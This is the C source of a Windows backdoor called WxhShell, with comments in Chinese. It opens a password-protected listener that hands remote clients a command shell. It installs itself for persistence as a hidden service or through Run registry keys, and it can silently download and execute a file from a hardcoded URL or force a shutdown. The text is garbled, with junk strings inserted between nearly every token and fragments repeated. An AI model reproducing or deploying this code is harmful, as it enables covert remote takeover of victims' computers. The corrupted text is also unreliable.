"I =pC3~-;3 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c?,i3s+2Y if(NULL == hInst ) return 0; e[#j.|m v7`HQvQEz= g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u5%7}<nNi g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
]]wA[c~G NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G@Z?&"
7?%k7f if (!NtQueryInformationProcess) return 0; v*[.a#1^ AD<q%pu&H? hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x HhN if(!hProcess) return 0; _Iv6pNd/ }I2@%tt? if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;IokThI sK5r$Dbr CloseHandle(hProcess); a)'5Nw9* 2j[&=R/. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~7zGI\=P@ if(hProcess==NULL) return 0; _&b4aW9< 4sT88lG4n HMODULE hMod; HZf/CE9T char procName[255]; '4#}e[e unsigned long cbNeeded; jYhB
+| 3z&Fi;<+j if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "UJ
S5[7$ & J2M1z% CloseHandle(hProcess); cu/5$m?xx 9*1,!%] if(strstr(procName,"services")) return 1; // 以服务启动 ML>[^F W!>.$4Q9 return 0; // 注册表启动 u[
Yk } 6gs01c,BA
#c66) // 主模块 |YY_^C`"- int StartWxhshell(LPSTR lpCmdLine) ]f({`&K5 { UaB @ SOCKET wsl; 0ok-IHE< BOOL val=TRUE; vTx2E6 int port=0; k-{<=>uM struct sockaddr_in door; sH[ROm T]=r Co if(wscfg.ws_autoins) Install(); +lMX{es\O Y1J=3Y port=atoi(lpCmdLine); A"rfZ` LpqO{#ZG if(port<=0) port=wscfg.ws_port; 6'Worj E}nH1 WSADATA data; ^*Yh@4\{JH if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^kB8F"X Evjj"h&0J if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 7G>dTO setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q{5kxw1ZF door.sin_family = AF_INET; 3skC$mpJHw door.sin_addr.s_addr = inet_addr("127.0.0.1"); 20nP/e door.sin_port = htons(port); <
RH UH)I 57&b:0`p if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S-|)QGxV6 closesocket(wsl); ,^ . 88< return 1; k+ty>bP= } c:o]d )S = < oBgD0k if(listen(wsl,2) == INVALID_SOCKET) { RpD=]y!5_ closesocket(wsl); T"DlT/\ return 1; ^8AXxE } OD6\Mr2= Wxhshell(wsl); |* ;B WSACleanup(); ub\MlSr h*u return 0; tE`u(B, [c|]f_ZdK } &bfA.&
` &-B^~M*?? // 以NT服务方式启动 Nbi.\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k@3Q|na { rcC<Zat,| DWORD status = 0; 2vWx)Drb6 DWORD specificError = 0xfffffff; .Lsavpo }%_ b$ serviceStatus.dwServiceType = SERVICE_WIN32; zZ` _D|<m serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~U@;gLoD serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n4R(.N00 serviceStatus.dwWin32ExitCode = 0; O#S;q5L@ serviceStatus.dwServiceSpecificExitCode = 0; Pn>Xbe serviceStatus.dwCheckPoint = 0; 'DL`Ee\ serviceStatus.dwWaitHint = 0; t? yz G#u6Am)T hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e3nYbWBy] if (hServiceStatusHandle==0) return; P>NF.BCq [k;\S XDZo status = GetLastError(); w"cZHm if (status!=NO_ERROR) IV\'e} { %~2YE serviceStatus.dwCurrentState = SERVICE_STOPPED; U$WxHYo serviceStatus.dwCheckPoint = 0; K|hjEQRv serviceStatus.dwWaitHint = 0; F|e1"PkeoA serviceStatus.dwWin32ExitCode = status; #\ X#w<\? serviceStatus.dwServiceSpecificExitCode = specificError; rp!oO>F SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4hTMbS_; return; YW( Qmo7 } %R}.#,Suo JSCZ{vJ$ serviceStatus.dwCurrentState = SERVICE_RUNNING; Hn%xDJ' serviceStatus.dwCheckPoint = 0; H?&Mbw
d serviceStatus.dwWaitHint = 0; 3 I@}my1 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O06"bi5Y } ,P70Jb lTV'J?8!-a // 处理NT服务事件,比如:启动、停止 CkoLTY VOID WINAPI NTServiceHandler(DWORD fdwControl) 2Q/4bJpd { 8T!+ZQAz switch(fdwControl) QSszn`e { pgQV /6 case SERVICE_CONTROL_STOP: 4GY[7^ serviceStatus.dwWin32ExitCode = 0; ]pNvxXbeW serviceStatus.dwCurrentState = SERVICE_STOPPED; 1+jAz`nA:T serviceStatus.dwCheckPoint = 0; qQ?"@>PALD serviceStatus.dwWaitHint = 0; -y8`yHb_ { 5ft`zf SetServiceStatus(hServiceStatusHandle, &serviceStatus); 117EZg]O } m
g4nrr\ return; V9{]OV% case SERVICE_CONTROL_PAUSE: Z\ja serviceStatus.dwCurrentState = SERVICE_PAUSED; ebUBrxZX break; :7!0OVQla\ case SERVICE_CONTROL_CONTINUE: Z7hgA-t serviceStatus.dwCurrentState = SERVICE_RUNNING; 7b;I+q break; $m].8? case SERVICE_CONTROL_INTERROGATE: HUv/ ~^< break; C9n?@D;S }; kt["m. SetServiceStatus(hServiceStatusHandle, &serviceStatus); M42Ssn) } U |Jo{(Y @Z\,q's // 标准应用程序主函数 ][9%Kl*%@p int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JGsx_V1t { :UF%K>k2 lyy W // 获取操作系统版本 QgU8s'e OsIsNt=GetOsVer(); $o0iLFIX/ GetModuleFileName(NULL,ExeFile,MAX_PATH); J;{N72 ]|zp0d=&o // 从命令行安装 QxVq^H if(strpbrk(lpCmdLine,"iI")) Install(); G
MX? &eCa0s?mI // 下载执行文件 )4<__|52"1 if(wscfg.ws_downexe) { W&&;:Fr if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vd
0ljA WinExec(wscfg.ws_filenam,SW_HIDE); <`B,R*H{ } :D%"EJ Lvq>v0| if(!OsIsNt) { GT }F9F~ // 如果时win9x,隐藏进程并且设置为注册表启动 jV>raCK_ HideProc(); B8V>NvE~o StartWxhshell(lpCmdLine); 4E]l{"k< } bm?sbE else T>x&T9 if(StartFromService()) K;>9ZZtl // 以服务方式启动 v9w'!C)b StartServiceCtrlDispatcher(DispatchTable); AX;8^6.F3 else 0?\Zm)Q~( // 普通方式启动 C":32_q StartWxhshell(lpCmdLine); Gb#Cm] >L;eO'D return 0; *W0y: 3dB3 } kI
4MiK Bm.:^:&k <acUKfpY xLNtIzx =========================================== E:JJ3X| %C~1^9uq 2Ga7$q =BSzsH7 "a
ueL/dgN 6:Ch^c+IZ " XQ9O$
~q )}D'<^=#T #include <stdio.h> _aFl_\3> #include <string.h> rz wF~-m + #include <windows.h> Oiz ,w7LRh #include <winsock2.h> Ljxz.2LGr #include <winsvc.h> tyXuG< #include <urlmon.h> 4C<jdv_J Zhh2v>QOy #pragma comment (lib, "Ws2_32.lib") ?s\:hNNY #pragma comment (lib, "urlmon.lib") 2N~Fg^xB m?pstuUK( #define MAX_USER 100 // 最大客户端连接数 "HElB9 #define BUF_SOCK 200 // sock buffer lef2 X1w}! #define KEY_BUFF 255 // 输入 buffer (l-tvk4Ln M)'HCnvs' #define REBOOT 0 // 重启 q|o}+Vr #define SHUTDOWN 1 // 关机 DoJ\ q+ J&[@}$N #define DEF_PORT 5000 // 监听端口 ,0*&OXt t2F_uCr #define REG_LEN 16 // 注册表键长度 k2c}3 MeP #define SVC_LEN 80 // NT服务名长度 6x h:/j3 xy5lE+E_U // 从dll定义API ,&jhlZ i typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a`&f typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); { /K.3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WN{ 9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cik!GA "!Uqcay- // wxhshell配置信息 x(hE3S#+ struct WSCFG { '(f&P=[b int ws_port; // 监听端口 <3xyjX'NE char ws_passstr[REG_LEN]; // 口令 x_|UPF int ws_autoins; // 安装标记, 1=yes 0=no 4}_j`d/8| char ws_regname[REG_LEN]; // 注册表键名 uw[<5 char ws_svcname[REG_LEN]; // 服务名 *5vV6][ char ws_svcdisp[SVC_LEN]; // 服务显示名 M=1n QF2J char ws_svcdesc[SVC_LEN]; // 服务描述信息 4
Y;Nm1@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Mn9dqq~a int ws_downexe; // 下载执行标记, 1=yes 0=no "uuVy$6C char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [5zx17' char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T&%ux=Jt Kqp(%8mf }; &Sl[lXE y4t7`-,~ // default Wxhshell configuration |X0Y- struct WSCFG wscfg={DEF_PORT, SSz~YR^}Sr "xuhuanlingzhe", W3IpHV 1, C ~<'rO}| "Wxhshell", c(:f\Wc3Z "Wxhshell",
U*(izD "WxhShell Service", &u /Nf&A "Wrsky Windows CmdShell Service", 1Ty<\bZ= "Please Input Your Password: ", 0y
7"SiFY 1, -BRc8 / "http://www.wrsky.com/wxhshell.exe", bSfpbo4( "Wxhshell.exe" 6|aKL[%6 }; jGXO\:sO ofPHmh` // 消息定义模块 UUzYbuS>&l char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =U #dJ^4P char *msg_ws_prompt="\n\r? for help\n\r#>"; CK,7^U char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _d"b;4l char *msg_ws_ext="\n\rExit."; eoai(&o0$ char *msg_ws_end="\n\rQuit."; W=#:.Xj[ char *msg_ws_boot="\n\rReboot..."; !n*
+(lZ char *msg_ws_poff="\n\rShutdown..."; 9Wnn'T@Tl char *msg_ws_down="\n\rSave to "; +?u~APjNN q#vQv5 char *msg_ws_err="\n\rErr!"; RA KFU char *msg_ws_ok="\n\rOK!"; d]:I(9K w8kOVN2b char ExeFile[MAX_PATH]; -R57@D>j\ int nUser = 0; Fy`(BF\ HANDLE handles[MAX_USER]; iz8Bf; int OsIsNt; ~i~7na| E=e*VEjy SERVICE_STATUS serviceStatus; l^|UCgRn SERVICE_STATUS_HANDLE hServiceStatusHandle; Sz^
veh? @\|_ // 函数声明 R_sr?V|" int Install(void); `8^TTQ int Uninstall(void); 4 !y%O int DownloadFile(char *sURL, SOCKET wsh); j Dy-)2< int Boot(int flag); .2%zC & ; void HideProc(void); jUSmqm' int GetOsVer(void); Y( 3Bp\6 int Wxhshell(SOCKET wsl); 99:C"`E{ void TalkWithClient(void *cs); n` xR5!de int CmdShell(SOCKET sock); &d"G/6 int StartFromService(void); .WPV dwV4U int StartWxhshell(LPSTR lpCmdLine); =R #Qx, M[6:p2u VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {$R' WXVs VOID WINAPI NTServiceHandler( DWORD fdwControl ); IB[)TZ2m i'9vL:3 // 数据结构和表定义 ~~v3p>z Rr SERVICE_TABLE_ENTRY DispatchTable[] = ?Lyxw] { :?/cPg'D {wscfg.ws_svcname, NTServiceMain}, 8-BflejX {NULL, NULL} P"W2(d }; &Q>k7L! !P)O(i= // 自我安装 a4XU?-sUh int Install(void) @xbQ Ye%J { GH+r?2< char svExeFile[MAX_PATH]; }oL'8-y HKEY key; ~ ip,Nl strcpy(svExeFile,ExeFile); S-k8jm 4<% *E{` // 如果是win9x系统,修改注册表设为自启动 nq6@6GRG if(!OsIsNt) { QlJ)F{R8il if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~NQ72wph{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x n5l0'2 RegCloseKey(key); /Y'Vh^9/T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AQ_|: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 73xAG1D$r RegCloseKey(key); G*-b}f return 0; So0f)`A } kdl:Wt*4o } SzjkI+-$: } p4'G$]# else { gREzZ+([ my}-s // 如果是NT以上系统,安装为系统服务 :P<]+\m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KU8Jbl*
if (schSCManager!=0) E=>FjCsu<- { .ox8*OO< SC_HANDLE schService = CreateService %d?cP}V ( 1XD,uoxB
schSCManager, a{R%#e\n wscfg.ws_svcname, fZ*+2T> wscfg.ws_svcdisp, vJ'2@f$ SERVICE_ALL_ACCESS, m^bNuo SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VzY8rI SERVICE_AUTO_START, K?BOvDW"` SERVICE_ERROR_NORMAL, B]uc<`f svExeFile, CE/Xfh'44 NULL, P*I}yPeb NULL, EL(nDv NULL, 1IZ3=6 NULL, MBqt&_?K NULL >[_f3;P ); d4?Mi2/jF if (schService!=0) 22.8PO0 { Bs O+NP CloseServiceHandle(schService); prTw'~(B CloseServiceHandle(schSCManager); FLGk?.x$\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fpFhn strcat(svExeFile,wscfg.ws_svcname); R)mu2^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [uI|DUlI6o RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Bh;7C@dq RegCloseKey(key); 8C67{^`:: return 0; 9Hf9VC3 } v"#mzd.tW } X22[tqg;& CloseServiceHandle(schSCManager); c.>oe*+ } :TJv=T'p' } yuat" Pg R}q>O5O return 1; r\/9X}y4z } UFp,a0| oxz OA // 自我卸载 xHz[t6;4; int Uninstall(void) gqu?o&>9 { z@B=:tf HKEY key; Fsif6k=4 rvXWcu -" if(!OsIsNt) { K95p>E`9e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
">y%iE RegDeleteValue(key,wscfg.ws_regname); [Pq}p0cD RegCloseKey(key); =o& >fw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K':K{ee> RegDeleteValue(key,wscfg.ws_regname); YKO){f5 RegCloseKey(key); ;#oie<
Vit return 0; `Ye\p6v!+ } <8d^^0 } <N_+=_ } ?kB2iU_f+ else { N4L|;? ^eR%N8Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h-Fn? if (schSCManager!=0) >(?9? { p;tVn{u SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mR}6r2O2\Q if (schService!=0) DGAX3N;r6{ { c6X}2a' if(DeleteService(schService)!=0) { d5D$&5Ec CloseServiceHandle(schService); n&-qaoNl CloseServiceHandle(schSCManager); 3b+d"`Y^S return 0; 9Hc$G{[a } $!8-? ?ML CloseServiceHandle(schService); V&Xe!S } Axe8n1*y CloseServiceHandle(schSCManager); SRrw0&ts } @@8J6*y } #m{UrTC |aT| l^2R@ return 1; t4-pM1]1_
} f"u%J/e & W!6qqi{ // 从指定url下载文件 11<KpxKpk int DownloadFile(char *sURL, SOCKET wsh) Bh=u|8yxc { }T%}wdj HRESULT hr; 4*e0 hWp char seps[]= "/"; ~ ; -! n; char *token; N1|$$9G+ char *file; ZE2$I^DY- char myURL[MAX_PATH]; 0IfKJ*]M char myFILE[MAX_PATH]; XI22+@d6 Kd=%tNp strcpy(myURL,sURL); ? P(
ZA token=strtok(myURL,seps); BI $ while(token!=NULL) m3mp/g.> { !!`!|w file=token; 't6V:X token=strtok(NULL,seps); /)4I|"}R0I } _g~qu
[1 yp66{o
GetCurrentDirectory(MAX_PATH,myFILE); {3.r6ZwCn strcat(myFILE, "\\"); OU/MiyP2 strcat(myFILE, file); >]W)'lnO send(wsh,myFILE,strlen(myFILE),0); > 3&: 5 send(wsh,"...",3,0); "87ghj_} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2U; t(,dn' if(hr==S_OK) m<0&~rg return 0; WV #%PJ else v7DE return 1; _ B5gR zJ)*Z,7 } D?0zhU 7LU}Iiv // 系统电源模块 \'CDRr"uw int Boot(int flag) 2EfF=Fm> { S6AU[ASY. HANDLE hToken; `~ * @q! TOKEN_PRIVILEGES tkp; R0L&*Bjm av$/Om: if(OsIsNt) { h3Q21D'f OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _h":> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9Iz%ht tkp.PrivilegeCount = 1; hb^7oq"a tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t| 'N+-T3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `$B3X if(flag==REBOOT) { :@!ic<p if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L30$%G| return 0; e}.^Tiwd] } k31I ysh else { ^8@Iyh if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |'{zri|A" return 0; aMvI?y { } 7
<Q5;J&; } )I$q 5%q8 else { w);6K[+; if(flag==REBOOT) { *
;Cy=J+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ltD37QZQ return 0; 3l3'bw2 } YJl("MZ else { 61jI if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [fKUyIY_ return 0; !V,{_(LT } {FG|\nPw } EoxQ
*/ e&qh9mlE return 1; ^4`Px/& } =@8H"&y` hQDTS>U // win9x进程隐藏模块 r?*NhLG; void HideProc(void) [g Z"a* { ty*@7g0k }-o{ASC# HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y:h}z). if ( hKernel != NULL ) hweaGL t0 { ZJ 77[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?1[\! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nE^Qy=iE FreeLibrary(hKernel); ,ML[Wr'2 } I~9hx*!%% E)9yH\$6 return; Sf,R^9#| } Eyh51IB. Q]w&N30 // 获取操作系统版本 *s>BG1$< int GetOsVer(void) N]<!j$pOz { o, !T2&} OSVERSIONINFO winfo; acw4B5] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3,Q^&
1 GetVersionEx(&winfo); #zRbx if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?x0pe4^If return 1; f~_th @K else Y"6w,_'m return 0; Cc, `}SP } %T[^D&9$, =Odv8yhn // 客户端句柄模块 x
$zKzfHW int Wxhshell(SOCKET wsl) 9Y<#=C { C>[fB|^ SOCKET wsh; A,)VM9M_l struct sockaddr_in client; >N?2"" DWORD myID; _C+b]r/E XbZ*& while(nUser<MAX_USER) 60)iw4<wf { hAjM1UQ,Y int nSize=sizeof(client); d)"?mD:m/M wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;9}pOzF1q if(wsh==INVALID_SOCKET) return 1; 4ON_$FUe _ %x4ty handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i]#+1Hf if(handles[nUser]==0) X2xuwA closesocket(wsh); vc]cNz:mQ else Y&^ P"Dw nUser++; 1 `7<2w } E3*\
^Q_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {"
4e+y ad_`x return 0; 2]c{P\ } ee/&/Gt W},b{NT // 关闭 socket ejO}t:}P void CloseIt(SOCKET wsh) zP;cTF(C { )Y8",Ig closesocket(wsh); ZJjTzEV%^B nUser--; hHPs&EA.p ExitThread(0); q,3;m[cA } wCHR7X0*b 033T>qY // 客户端请求句柄 N<L`c/ void TalkWithClient(void *cs) 2PR^:h2 { ;=< ^0hxer ~Gqno SOCKET wsh=(SOCKET)cs; 5c;h& char pwd[SVC_LEN]; 3F#+~^2 char cmd[KEY_BUFF]; Z^9/v char chr[1]; \)48904^ int i,j; 0liR x#N-&baS while (nUser < MAX_USER) { HSIvWhg?p ]O:N-Y if(wscfg.ws_passstr) { 8V-\e?&^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c=6Q%S //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RuG-{NF{F //ZeroMemory(pwd,KEY_BUFF); +]@Az.E i=0; lI/0:|l while(i<SVC_LEN) { 7DfTfTU6 K"V:<a // 设置超时 aRc ' fd_set FdRead; ) ){xlFA} struct timeval TimeOut; H\GkW6 FD_ZERO(&FdRead); |Cdvfk FD_SET(wsh,&FdRead); Kwhdu<6 TimeOut.tv_sec=8; {R^'=(YFy TimeOut.tv_usec=0; ;_:Oo l, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a0*2) uL} if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8:.nEo' e2C<PGUUB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ft@Wyo`^ pwd=chr[0]; M]-VHI[&W if(chr[0]==0xd || chr[0]==0xa) { K{l5m{:% pwd=0; S
}>n1F_ break; cMzkL% } M/*NM= -a i++; ^<0IB#dA } b%t+,0s| u7;~ // 如果是非法用户,关闭 socket ba3-t;S
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Lz\UZeq } L;QY<b G5tday~3 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jvVi%k send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h~7,`fo 0"g@!gSrQ while(1) { #'hLb a9~"3y ZeroMemory(cmd,KEY_BUFF); :h:@o h_= somfv$'B // 自动支持客户端 telnet标准 )uLr?$qe j=0; 9B+wYJp while(j<KEY_BUFF) { +/?iCmW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /dDzZ%/@ cmd[j]=chr[0]; E-1"+p if(chr[0]==0xa || chr[0]==0xd) { ^UA(HthY cmd[j]=0; ]Fb0Az break; Qeb}!k2A } xiyxrR; j++; \O7J=6fn } iQ^:
])m> 89cVJ4]g~! // 下载文件 !~lW3 if(strstr(cmd,"http://")) { l>v{ send(wsh,msg_ws_down,strlen(msg_ws_down),0); *wi}>_\ if(DownloadFile(cmd,wsh)) Q;nAPS send(wsh,msg_ws_err,strlen(msg_ws_err),0); mo1
puU else Icp0A\L@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WP-jtZ?!" } K%}}fw2RMN else { ,M3z!=oIGn z#<P}} switch(cmd[0]) { tiLu75vj uv4 _: // 帮助 Wn!G.(Jq case '?': { 3z{S}~ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4x'AC%&Qi break; M+sj} } sXl ??UGe // 安装 'nK~'PZ, case 'i': { l9{#sas if(Install()) v9}[$HWx send(wsh,msg_ws_err,strlen(msg_ws_err),0); H]&!'\aUz else >Csbjf6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Y^"'" break; c!&Qj } {@M14)-x>_ // 卸载 FQf#* case 'r': { Xy#VQ{! if(Uninstall()) JZ`L% send(wsh,msg_ws_err,strlen(msg_ws_err),0); .#^0pv! else xKp0r1} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |0{ i9.= break; Kla:e[{ } um8AdiK // 显示 wxhshell 所在路径 ^{[`=P'/ case 'p': {
U
5`y char svExeFile[MAX_PATH]; @~jxG%y86 strcpy(svExeFile,"\n\r"); ~uPk strcat(svExeFile,ExeFile); > zL|8f send(wsh,svExeFile,strlen(svExeFile),0); 7unA"9=[4V break; I{dl% z73 } i=QqB0 // 重启 +Z?[M1g case 'b': { q|q::q* send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7;HUE!5,^l if(Boot(REBOOT)) ;.Zh,cU send(wsh,msg_ws_err,strlen(msg_ws_err),0); FU@uH
U5fd else { Wp*sPZ closesocket(wsh); )
YSh D ExitThread(0); 5_G'68;OV } J0Four#MD break; j%M @# } fkW(Dt, // 关机 B5Va%?Wg?H case 'd': { Kp_jy.e7& send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }(=ml7 )v if(Boot(SHUTDOWN)) GqjO>v fy send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZBj6KqfST% else { Js}tZ\+P75 closesocket(wsh); 0|2%# E ExitThread(0); + x_wYv } y'rN5J:l break; L_*L`!vQA" } \o9@[t>&2 // 获取shell 6H;kJHn case 's': { 8Nvr93T, CmdShell(wsh); a!.!2a&t closesocket(wsh); g)M#{"H ExitThread(0); dy_.(r5[L] break; \r]('x3S } $DV-Ieb // 退出 fH!=Zb_{8 case 'x': { a R#Cot send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '?R =P CloseIt(wsh); p#b{xK break; |'@[N, } ^"`Z1)V // 离开 (^S5Sc= case 'q': { `9EVB; send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,iOZ| closesocket(wsh); 'aPCb`^;w WSACleanup(); Ak|b0l>^ exit(1); UQdyv(jXq break; Bi_J5 If } 9&(.x8d,a } wrK#lh2 } ork|yj/A ZPYH#gC&T // 提示信息 j@g!R!7) if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ge9}8 } gCwt0) } t|".=3%G Qy%xL9 return; 2^bgC~2C1 } ./!KE"! hE5G!@1F // shell模块句柄 3d U#Ueu int CmdShell(SOCKET sock) N('3oy#8 { J]]\&MtaO STARTUPINFO si; #]5)]LF1q ZeroMemory(&si,sizeof(si)); SW-0h4 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;Yu>82o.: si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -~0'a PROCESS_INFORMATION ProcessInfo; sBB:$X char cmdline[]="cmd"; }u7D9_KU CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \"bLE0~ return 0; }JJ::*W2n } T;%+ ]:w< %rFllb7 // 自身启动模式 ?7 X3P int StartFromService(void) u
dUXc6U { T@>63 typedef struct U*xxrt/On/ { ,"C&v~ DWORD ExitStatus; ^B6`e^< DWORD PebBaseAddress; |>[X<>m DWORD AffinityMask; Q^kMCrp DWORD BasePriority; ~:s!].H ULONG UniqueProcessId; p|;o5j{ ULONG InheritedFromUniqueProcessId; ^1vq{/ X } PROCESS_BASIC_INFORMATION; Vg) ^| 6<Be#Y]b PROCNTQSIP NtQueryInformationProcess; h?3f5G*&H t.u{.P\Md\ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x6~Fb~aP static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9Iy[E,j X~#@rg!" HANDLE hProcess;
`;T?9n PROCESS_BASIC_INFORMATION pbi; _BCT.ual *ig5Q(b*N HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ur`V{9g if(NULL == hInst ) return 0; 9cbB[c_. 0YHYx n g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3dY6;/s g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RDJ82{ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); np&HEh 6 5Wj5IS/ if (!NtQueryInformationProcess) return 0; }cyq'mi g;ct!f=U hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OC`QD5 if(!hProcess) return 0; Q9nu"x
